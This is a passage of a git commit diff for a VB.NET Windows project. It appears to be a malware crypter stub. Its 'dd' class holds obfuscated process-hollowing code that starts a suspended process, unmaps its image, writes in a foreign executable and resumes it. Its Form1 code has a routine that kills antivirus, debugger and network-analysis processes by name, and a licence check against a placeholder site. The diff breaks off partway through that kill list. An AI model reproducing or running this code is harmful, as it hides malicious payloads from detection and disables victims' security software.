initial commit
This commit is contained in:
i2p
@@ -0,0 +1,3 @@
|
||||
Module _3des
|
||||
|
||||
End Module
|
||||
@@ -0,0 +1,15 @@
|
||||
Namespace My
|
||||
|
||||
' The following events are available for MyApplication:
|
||||
'
|
||||
' Startup: Raised when the application starts, before the startup form is created.
|
||||
' Shutdown: Raised after all application forms are closed. This event is not raised if the application terminates abnormally.
|
||||
' UnhandledException: Raised if the application encounters an unhandled exception.
|
||||
' StartupNextInstance: Raised when launching a single-instance application and the application is already active.
|
||||
' NetworkAvailabilityChanged: Raised when the network connection is connected or disconnected.
|
||||
Partial Friend Class MyApplication
|
||||
|
||||
End Class
|
||||
|
||||
End Namespace
|
||||
|
||||
@@ -0,0 +1,125 @@
|
||||
|
||||
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System.ComponentModel
|
||||
|
||||
Public Class dd
|
||||
Public Const rnblBJonduUOAwhEQ As Long = &H200
|
||||
Public Const mOcKXLCUTIoYPlmVo As Long = &H40
|
||||
Public Const IXtVXUoZDCZrtBJIr As Long = &H80
|
||||
Public Const EvvrsXCGqNtDLnOYS As Long = &H20
|
||||
Public Const XHOGsgpLaGdXqChLV As Long = &H10
|
||||
Public Const TfQcRiDpQRAgIomcs As Long = &H8
|
||||
Public Const mognQrpuALiDmEIOv As Long = &H1
|
||||
Public Const iPiMmuDamWFMFqNfW As Long = &H4
|
||||
Public Const WKLsAFBhVKcHjVqRM As UInt32 = &H2
|
||||
Shared Sub makeit(ByVal krdcVRBTsPgkgXSUm() As Byte, ByVal GDuoVanYcIQHNjlGp As String)
|
||||
Dim CbvMqcBESUlQcYqXQ = New VkPYqlnKCNVkKlNJT.RLRuPoCnpYptZaRar, kVhIOAosYSZPGmlNu As VkPYqlnKCNVkKlNJT.gsjekDCZOduZWbqeU, CFDqkMoevWesDoMQX = New VkPYqlnKCNVkKlNJT.vdEOIOCLlhBESdRhv, RmVaIXoQVbiYAplTB = New VkPYqlnKCNVkKlNJT.NNXweaDuLmFhPfpkZ, gWnKdjpCsfnEtrMWc = New VkPYqlnKCNVkKlNJT.bupgCmDgirKNMgRnC, vGIsCuplRkrhqtkZG = New VkPYqlnKCNVkKlNJT.bupgCmDgirKNMgRnC
|
||||
Dim qeKRXADRHvOqIipqd = GCHandle.Alloc(krdcVRBTsPgkgXSUm, GCHandleType.Pinned)
|
||||
Dim MobcXJqXopwNnuMdg As Integer = qeKRXADRHvOqIipqd.AddrOfPinnedObject.ToInt32
|
||||
Dim IOdBtMEDeDTWFjQtH As New VkPYqlnKCNVkKlNJT.bYtMsVqIOtDqjwkgK
|
||||
IOdBtMEDeDTWFjQtH = Marshal.PtrToStructure(qeKRXADRHvOqIipqd.AddrOfPinnedObject, IOdBtMEDeDTWFjQtH.GetType)
|
||||
qeKRXADRHvOqIipqd.Free()
|
||||
If VkPYqlnKCNVkKlNJT.CreateProcess(Nothing, GDuoVanYcIQHNjlGp, gWnKdjpCsfnEtrMWc, vGIsCuplRkrhqtkZG, False, 4, Nothing, Nothing, RmVaIXoQVbiYAplTB, CFDqkMoevWesDoMQX) = 0 Then Return
|
||||
Dim XwviRXEmEHXCBlpAi As New VkPYqlnKCNVkKlNJT.qIOuRgqrlBIWgALjl
|
||||
XwviRXEmEHXCBlpAi = Marshal.PtrToStructure(New IntPtr(MobcXJqXopwNnuMdg + IOdBtMEDeDTWFjQtH.mgQTmjEYbMcfvmQDL), XwviRXEmEHXCBlpAi.GetType)
|
||||
Dim mgQTmjEYbMcfvmQDL, IphemsrdLFMCdCkmO As Long, EQiDLvFKARgLsooGm As UInteger
|
||||
RmVaIXoQVbiYAplTB.XZCOKHrPhKQeZDLpp = Len(RmVaIXoQVbiYAplTB)
|
||||
CbvMqcBESUlQcYqXQ.TAEkgJFsXVlnopQJQ = 65538
|
||||
If XwviRXEmEHXCBlpAi.mKUwgSrBHPVKWFjtT <> 17744 Or IOdBtMEDeDTWFjQtH.hhWVFVFeuapTlroMq <> 23117 Then Return
|
||||
If VkPYqlnKCNVkKlNJT.GetThreadContext(CFDqkMoevWesDoMQX.ErngEesjeTZnSHLwt, CbvMqcBESUlQcYqXQ) And VkPYqlnKCNVkKlNJT.ReadProcessMemory(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, CbvMqcBESUlQcYqXQ.SbIQZpsVEYeTPIjCX + 8, mgQTmjEYbMcfvmQDL, 4, 0) >= 0 And VkPYqlnKCNVkKlNJT.ZwUnmapViewOfSection(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, mgQTmjEYbMcfvmQDL) >= 0 Then
|
||||
Dim OCKmvsGCrjBceuoTv As UInt32 = VkPYqlnKCNVkKlNJT.VirtualAllocEx(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, XwviRXEmEHXCBlpAi.hLaBvEsHaciwMKKFB.djcXUHGlQoGIbwPWY, XwviRXEmEHXCBlpAi.hLaBvEsHaciwMKKFB.wssiTQtqAhncILjIc, 12288, 4)
|
||||
If OCKmvsGCrjBceuoTv <> 0 Then
|
||||
VkPYqlnKCNVkKlNJT.WriteProcessMemory(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, OCKmvsGCrjBceuoTv, krdcVRBTsPgkgXSUm, XwviRXEmEHXCBlpAi.hLaBvEsHaciwMKKFB.sTuHpSHXnsKlYAnZC, EQiDLvFKARgLsooGm)
|
||||
IphemsrdLFMCdCkmO = IOdBtMEDeDTWFjQtH.mgQTmjEYbMcfvmQDL + 248
|
||||
For OcOSpbtcXmrIFNKLF As Integer = 0 To XwviRXEmEHXCBlpAi.KDQoNeHINAPRUCPcd.dNgDNntNuqwlCOiPg - 1
|
||||
kVhIOAosYSZPGmlNu = Marshal.PtrToStructure(New IntPtr(MobcXJqXopwNnuMdg + IphemsrdLFMCdCkmO + OcOSpbtcXmrIFNKLF * 40), kVhIOAosYSZPGmlNu.GetType)
|
||||
Dim ZkiZjqHrkETuRDngH(kVhIOAosYSZPGmlNu.suBkiCuwTvDQvQKSK) As Byte
|
||||
For nVDJHEIdJJYZNFOjh As Integer = 0 To kVhIOAosYSZPGmlNu.suBkiCuwTvDQvQKSK - 1 : ZkiZjqHrkETuRDngH(nVDJHEIdJJYZNFOjh) = krdcVRBTsPgkgXSUm(kVhIOAosYSZPGmlNu.KeUUHNuiqCItsSiVk + nVDJHEIdJJYZNFOjh) : Next
|
||||
VkPYqlnKCNVkKlNJT.WriteProcessMemory(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, OCKmvsGCrjBceuoTv + kVhIOAosYSZPGmlNu.mgQTmjEYbMcfvmQDL, ZkiZjqHrkETuRDngH, kVhIOAosYSZPGmlNu.suBkiCuwTvDQvQKSK, EQiDLvFKARgLsooGm)
|
||||
VkPYqlnKCNVkKlNJT.VirtualProtectEx(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, OCKmvsGCrjBceuoTv + kVhIOAosYSZPGmlNu.mgQTmjEYbMcfvmQDL, kVhIOAosYSZPGmlNu.FFVqcQIPgOcFKHnmL.suBkiCuwTvDQvQKSK, YOmFcZuUQHMZpTJYO(kVhIOAosYSZPGmlNu.TAEkgJFsXVlnopQJQ), mgQTmjEYbMcfvmQDL)
|
||||
Next OcOSpbtcXmrIFNKLF
|
||||
Dim UmobBcJBGShiHIOpm = BitConverter.GetBytes(OCKmvsGCrjBceuoTv)
|
||||
VkPYqlnKCNVkKlNJT.WriteProcessMemory(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, CbvMqcBESUlQcYqXQ.SbIQZpsVEYeTPIjCX + 8, UmobBcJBGShiHIOpm, 4, EQiDLvFKARgLsooGm)
|
||||
CbvMqcBESUlQcYqXQ.nvHmAkvGnMRFlVibp = OCKmvsGCrjBceuoTv + XwviRXEmEHXCBlpAi.hLaBvEsHaciwMKKFB.mgQTmjEYbMcfvmQDL
|
||||
VkPYqlnKCNVkKlNJT.SetThreadContext(CFDqkMoevWesDoMQX.ErngEesjeTZnSHLwt, CbvMqcBESUlQcYqXQ)
|
||||
VkPYqlnKCNVkKlNJT.ResumeThread(CFDqkMoevWesDoMQX.ErngEesjeTZnSHLwt)
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
Private Shared Function jWJLWnJjdXlODKmsP(ByVal BGbsrCJVCbprALOwq As Long, ByVal FgaWWwvpMQViiWJfS As Long) As Long
|
||||
jWJLWnJjdXlODKmsP = UQsHrLvajVaOfYhit(BGbsrCJVCbprALOwq) / (2 ^ FgaWWwvpMQViiWJfS)
|
||||
End Function
|
||||
Private Shared Function UQsHrLvajVaOfYhit(ByVal QoudQNKHZguXuNmCU As Long) As Double
|
||||
Const jANoPWwMJZerbZJlX = 4294967296.0#
|
||||
If QoudQNKHZguXuNmCU < 0 Then
|
||||
UQsHrLvajVaOfYhit = QoudQNKHZguXuNmCU + jANoPWwMJZerbZJlX
|
||||
Else
|
||||
UQsHrLvajVaOfYhit = QoudQNKHZguXuNmCU
|
||||
End If
|
||||
End Function
|
||||
Private Shared Function YOmFcZuUQHMZpTJYO(ByVal XrnXaetTpOEmJFmXM As Long) As Long
|
||||
Dim SSotwhHwfZYvYrrok() As Object = {mognQrpuALiDmEIOv, XHOGsgpLaGdXqChLV, WKLsAFBhVKcHjVqRM, EvvrsXCGqNtDLnOYS, iPiMmuDamWFMFqNfW, mOcKXLCUTIoYPlmVo, iPiMmuDamWFMFqNfW, iPiMmuDamWFMFqNfW}
|
||||
YOmFcZuUQHMZpTJYO = SSotwhHwfZYvYrrok(jWJLWnJjdXlODKmsP(XrnXaetTpOEmJFmXM, 29))
|
||||
End Function
|
||||
<EditorBrowsable(1)> Friend Class VkPYqlnKCNVkKlNJT
|
||||
<StructLayout(0)> Structure RLRuPoCnpYptZaRar
|
||||
Dim TAEkgJFsXVlnopQJQ, lcIHvquEPSIRFGNan, hCKdUtIiFedaUsSrO, DMaoUFunlXNuCIldR, wkcNpHIUbihGRuquo, SttZpQuZLcRavJNhs, OUuvOTIGBnmjOvSAS As UInt32, hdOJNcvLigWGsLlkV As hdOJNcvLigWGsLlkV
|
||||
Dim dEQfjfJpYrqPKAqEt, wNgrjnvuIlajpNMnw, sliPHqJavwvsHCRHX, OvCbHCvgepfPlOlqa, JVDAdFJMUECYEDqKA, dfULcOwREujsiQMtD, SbIQZpsVEYeTPIjCX, YGWhBQKvrIHEAFRNb, rPmtBZwDbCoYfRkwe, nvHmAkvGnMRFlVibp, nnoRWcKhRNLhuGpQF, JwHdWlwmBGsDbTMDI, FXJCsoLToRPMqIRUf, YgaNrAAYXLAgYUkGi, UHbjQCLFNWUpnJpXJ, nQsvQLAKuPEMVWLJM As UInt32
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> Dim jouTmOLnkbYVkLQak As Byte()
|
||||
End Structure
|
||||
<StructLayout(0)> Structure hdOJNcvLigWGsLlkV
|
||||
Dim FBNflXAsUUJpRYkMn, BYPEKaMZKfdBgNpdN, UigPJiBerZNVOZLPR, PJhlflMLhkhedOQgo, jSBAfuBQRdSBLbjTr, eqDVEAMuGomKaQojS, ACThDJBCniWeHcLWV As UInteger
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> Dim taVGZLNgdtqnWRQnt As Byte()
|
||||
Dim PjmRZUClNmbKEejZw As UInt32
|
||||
End Structure
|
||||
Structure FFVqcQIPgOcFKHnmL
|
||||
Dim mgQTmjEYbMcfvmQDL, suBkiCuwTvDQvQKSK As UInt32
|
||||
End Structure
|
||||
Structure gsjekDCZOduZWbqeU
|
||||
Dim LKnnuXNRDBvTTToqW As Byte, FFVqcQIPgOcFKHnmL As FFVqcQIPgOcFKHnmL, mgQTmjEYbMcfvmQDL, suBkiCuwTvDQvQKSK, KeUUHNuiqCItsSiVk, eUHCugCXkrfmAfKcZ, arJXTjNDaFCvQUPtA, tEZjSsCIKwjSuhjfD, pcbIouOmAKHbMWowb, TAEkgJFsXVlnopQJQ As UInt32
|
||||
End Structure
|
||||
Structure vdEOIOCLlhBESdRhv
|
||||
Dim wRoFahGQUeuwitPQU, ErngEesjeTZnSHLwt As IntPtr, LlrToGDrgDovriKje, HMtpMJOYWOLHJXPCE As Integer
|
||||
End Structure
|
||||
<StructLayout(0, CharSet:=3)> Structure NNXweaDuLmFhPfpkZ
|
||||
Dim XZCOKHrPhKQeZDLpp As Integer, aVNEMSDdGIsbnkimH, VtOZiVOKtTQkFZnGf, pFflhdEPdMAHkmKpi As String, kdhKGgPtTYUQCbPJJ, nVDJHEIdJJYZNFOjh, GnAVGpEBDREkhnisM, CNCrbsPeqcZtwcnMj, VXTGbEEjZWJQdpJvn, RvUbAGPQPhdZseOPN, kHlnwPFVwaNtaqiCQ, TAEkgJFsXVlnopQJQ As Integer
|
||||
Dim gfnMVSQCmliFpfnSo, CoGXVbFHWfSYXsJFr As Short, vPItqeQlMqmhmhOWS, RYZIqnFqtjWETthIV, NwadPpQXjvrNiimZs, gJrpOBGcSobhQvJLv As Integer
|
||||
End Structure
|
||||
<StructLayout(0)> Structure bupgCmDgirKNMgRnC
|
||||
Dim bgtOkERIICvqfkNcW As Integer, vqMZkNGOptfNMAhOZ As IntPtr, ikmIuVDUYhFIrcNAP As Integer
|
||||
End Structure
|
||||
<StructLayout(0)> Structure bYtMsVqIOtDqjwkgK
|
||||
Dim hhWVFVFeuapTlroMq, eLneTYPBOsZRJRSRm, AUHpTgEGvlJloemDp, tsJOojPjlAeuGTqUQ, suBkiCuwTvDQvQKSK, PFZaosEpVqORkfNHT, LcbwNvPVLEiaCUSXr, nQsvQLAKuPEMVWLJM, emsKMHEarvSuhhlKu, aMtgiJQHhJnGwWqbU, tWNriSFMRCXZdiNNX, ouPQGVQqHOrjtXRev, LGfcGeFvoHbFaklQB, GehBchQceSwOpZqhZ As UInt16
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> Dim aVNEMSDdGIsbnkimH As UInt16()
|
||||
Dim ZnAMbqGhOLgiXlMTc, VOCiAsROEXDrmaRkC As UInt16
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> Dim CoGXVbFHWfSYXsJFr As UInt16()
|
||||
Dim mgQTmjEYbMcfvmQDL As Int32
|
||||
End Structure
|
||||
Structure qIOuRgqrlBIWgALjl
|
||||
Dim mKUwgSrBHPVKWFjtT As UInt32, KDQoNeHINAPRUCPcd As oXTtAEGTkQkOTnlXG, hLaBvEsHaciwMKKFB As kvVSVHRwabIXicpnd
|
||||
End Structure
|
||||
<StructLayout(0)> Structure oXTtAEGTkQkOTnlXG
|
||||
Dim GIleVQGFKVprQoMag, dNgDNntNuqwlCOiPg As UInt16, CfnDrTRiAgMDfdRrH, LGfcGeFvoHbFaklQB, VpGOqbHnhZtXNqkdK As UInt32, suBkiCuwTvDQvQKSK, TAEkgJFsXVlnopQJQ As UInt16
|
||||
End Structure
|
||||
<StructLayout(0)> Structure kvVSVHRwabIXicpnd
|
||||
Public hhWVFVFeuapTlroMq As UInt16, RQIkPeSUXlRgcfpui, kZZvPnHZHeBDJsMgl As Byte, gAaUlqSGupVMYhQAL, CJrgkCHLeiFgGtkjO, uhtFJESpTuZpVipDm, mgQTmjEYbMcfvmQDL, QqMQJNIuDnKLDvLmp, krdcVRBTsPgkgXSUm, djcXUHGlQoGIbwPWY As UInt32, MROmeQTaqBeVSkQGQ, fbfAeZIgasOowwkqT As UInt32
|
||||
Public bBgWDcTMQGiAOloKq, uLAiClIRAwTUtBLtt, qjCHYnTvnLndLnQNU, MsSSYwJDXEXApCjwX, ITUotCUhMPrJIooQv, bckCtLJmtIcdmELCB As UInt16, XDmYSOUTjUwmEqPTY, wssiTQtqAhncILjIc, sTuHpSHXnsKlYAnZC, aMtgiJQHhJnGwWqbU As UInt32, qMGkRWJYTNgJjGjFc, TAEkgJFsXVlnopQJQ As UInt16
|
||||
Public lkIJnZUFJYDSBsoWC, IuYUniKKqSlmfHKJF, DUaqLlVngdIvvtPad, WeqELuKsQWpScJjMg, SFsahwVZGiMbrvndH, lOMmgIKembtuZKKPK As UInt32
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> Public hmNLFLWLcmRHowPgh As hmNLFLWLcmRHowPgh()
|
||||
End Structure
|
||||
<StructLayout(0)> Structure hmNLFLWLcmRHowPgh
|
||||
Dim mgQTmjEYbMcfvmQDL, suBkiCuwTvDQvQKSK As UInt32
|
||||
End Structure
|
||||
Declare Auto Function CreateProcess Lib "kernel32" (ByVal name As String, ByVal command As String, ByRef process As bupgCmDgirKNMgRnC, ByRef thread As bupgCmDgirKNMgRnC, ByVal inherit As Boolean, ByVal flags As UInt32, ByVal system As IntPtr, ByVal current As String, <[In]()> ByRef startup As NNXweaDuLmFhPfpkZ, <Out()> ByRef info As vdEOIOCLlhBESdRhv) As Boolean
|
||||
Declare Auto Function WriteProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal buffer As Byte(), ByVal size As IntPtr, <Out()> ByRef written As Integer) As Boolean
|
||||
Declare Auto Function ReadProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByRef buffer As IntPtr, ByVal size As IntPtr, ByRef read As Integer) As Integer
|
||||
Declare Auto Function VirtualProtectEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UIntPtr, ByVal [new] As UIntPtr, <Out()> ByVal old As UInt32) As Integer
|
||||
Declare Auto Function VirtualAllocEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UInt32, ByVal type As UInt32, ByVal protect As UInt32) As IntPtr
|
||||
Declare Auto Function ZwUnmapViewOfSection Lib "ntdll" (ByVal process As IntPtr, ByVal address As IntPtr) As Long
|
||||
Declare Auto Function ResumeThread Lib "kernel32" (ByVal thread As IntPtr) As UInt32
|
||||
Declare Auto Function GetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As RLRuPoCnpYptZaRar) As Boolean
|
||||
Declare Auto Function SetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As RLRuPoCnpYptZaRar) As Boolean
|
||||
End Class
|
||||
End Class
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 347 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 63 KiB |
@@ -0,0 +1,38 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Form1
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'Form1
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.ClientSize = New System.Drawing.Size(120, 0)
|
||||
Me.Name = "Form1"
|
||||
Me.Text = "Form1"
|
||||
Me.ResumeLayout(False)
|
||||
|
||||
End Sub
|
||||
|
||||
End Class
|
||||
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@@ -0,0 +1,246 @@
|
||||
Imports System.Text
|
||||
Imports System.IO
|
||||
Imports System.Management
|
||||
Imports Microsoft.Win32
|
||||
Imports System.Security.Cryptography
|
||||
Imports System.Windows.Forms
|
||||
|
||||
Public Class Form1
|
||||
Dim ilikepie As String
|
||||
|
||||
Sub boobies()
|
||||
Dim squirelaids As String
|
||||
Dim squirelaids1 As String
|
||||
Dim squirelaids2 As String
|
||||
Dim squirelaids3 As String
|
||||
'Getsquirelaids
|
||||
|
||||
'Encrypt
|
||||
squirelaids1 = ("Wåñt3Ð" & squirelaids & "güid" & squirelaids & "untainted1337")
|
||||
|
||||
squirelaids3 = WaNtINAtE(squirelaids + squirelaids1 + squirelaids2)
|
||||
ilikepie = WaNtINAtE(squirelaids3)
|
||||
End Sub
|
||||
|
||||
|
||||
Public Function RandomNumber(ByVal min As Integer, ByVal max As Integer) As Integer
|
||||
Dim random As New Random()
|
||||
Return random.Next(min, max)
|
||||
End Function
|
||||
Public Function GetRandom() As String
|
||||
Dim builder As New StringBuilder()
|
||||
builder.Append(RandomString(4, True))
|
||||
builder.Append(RandomNumber(1000, 9999))
|
||||
builder.Append(RandomString(2, False))
|
||||
Return builder.ToString()
|
||||
End Function
|
||||
Public Function RandomString(ByVal size As Integer, ByVal lowerCase As Boolean) As String
|
||||
Dim builder As New StringBuilder()
|
||||
Dim random As New Random()
|
||||
Dim ch As Char
|
||||
Dim i As Integer
|
||||
For i = 0 To size - 1
|
||||
ch = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() + 65)))
|
||||
builder.Append(ch)
|
||||
Next i
|
||||
If lowerCase Then
|
||||
Return builder.ToString().ToLower()
|
||||
End If
|
||||
Return builder.ToString()
|
||||
End Function
|
||||
Function WaNtINAtE(ByVal strToHash As String) As String
|
||||
Dim md5Obj As New Security.Cryptography.MD5CryptoServiceProvider
|
||||
Dim bytesToHash() As Byte = System.Text.Encoding.ASCII.GetBytes(strToHash)
|
||||
bytesToHash = md5Obj.ComputeHash(bytesToHash)
|
||||
Dim strResult As String = ""
|
||||
For Each b As Byte In bytesToHash
|
||||
strResult += b.ToString("x2")
|
||||
Next
|
||||
Return strResult
|
||||
End Function
|
||||
|
||||
|
||||
Private Sub CheckIfPieTastesGood()
|
||||
Dim bob As New WebBrowser
|
||||
Dim mygui As String
|
||||
mygui = GetPage("http://yoursite.com/secure_guid.php?guid=" & ilikepie)
|
||||
If Not mygui.ToString.Equals("yes") Then
|
||||
bob.Navigate("http://")
|
||||
MsgBox("Please activate your guid first!", MsgBoxStyle.Critical, "Error!")
|
||||
End
|
||||
End If
|
||||
End Sub
|
||||
Function kav()
|
||||
|
||||
Dim JrsGhost As Process() = Process.GetProcesses
|
||||
Dim i As Integer
|
||||
For i = 0 To JrsGhost.Length - 1
|
||||
Select Case Strings.LCase(JrsGhost(i).ProcessName)
|
||||
Case "keyscrambler"
|
||||
JrsGhost(i).Kill()
|
||||
Case "wireshark"
|
||||
JrsGhost(i).Kill()
|
||||
Case "anubis"
|
||||
JrsGhost(i).Kill()
|
||||
Case "mbam"
|
||||
JrsGhost(i).Kill()
|
||||
Case "avp"
|
||||
JrsGhost(i).Kill()
|
||||
Case "ollydbg"
|
||||
JrsGhost(i).Kill()
|
||||
Case "outpost"
|
||||
JrsGhost(i).Kill()
|
||||
Case "npfmsg"
|
||||
JrsGhost(i).Kill()
|
||||
Case "bdagent"
|
||||
JrsGhost(i).Kill()
|
||||
Case "egui"
|
||||
JrsGhost(i).Kill()
|
||||
Case "zlclient"
|
||||
JrsGhost(i).Kill()
|
||||
Case "navapsvc"
|
||||
JrsGhost(i).Kill()
|
||||
Case "avkwctl"
|
||||
JrsGhost(i).Kill()
|
||||
Case "fsav32"
|
||||
JrsGhost(i).Kill()
|
||||
Case "mcshield"
|
||||
JrsGhost(i).Kill()
|
||||
Case "ntrtscan"
|
||||
JrsGhost(i).Kill()
|
||||
Case "avguard"
|
||||
JrsGhost(i).Kill()
|
||||
Case "ashServ"
|
||||
JrsGhost(i).Kill()
|
||||
Case "AVENGINE"
|
||||
JrsGhost(i).Kill()
|
||||
Case "avgemc"
|
||||
JrsGhost(i).Kill()
|
||||
Case "tmntsrv"
|
||||
JrsGhost(i).Kill()
|
||||
Case "gcasServ"
|
||||
JrsGhost(i).Kill()
|
||||
Case "SpybotSD"
|
||||
JrsGhost(i).Kill()
|
||||
Case "Ad-Aware"
|
||||
JrsGhost(i).Kill()
|
||||
Case "sunasServ"
|
||||
JrsGhost(i).Kill()
|
||||
Case "spysweeper"
|
||||
JrsGhost(i).Kill()
|
||||
Case "PPActiveDetection"
|
||||
JrsGhost(i).Kill()
|
||||
Case "msscli"
|
||||
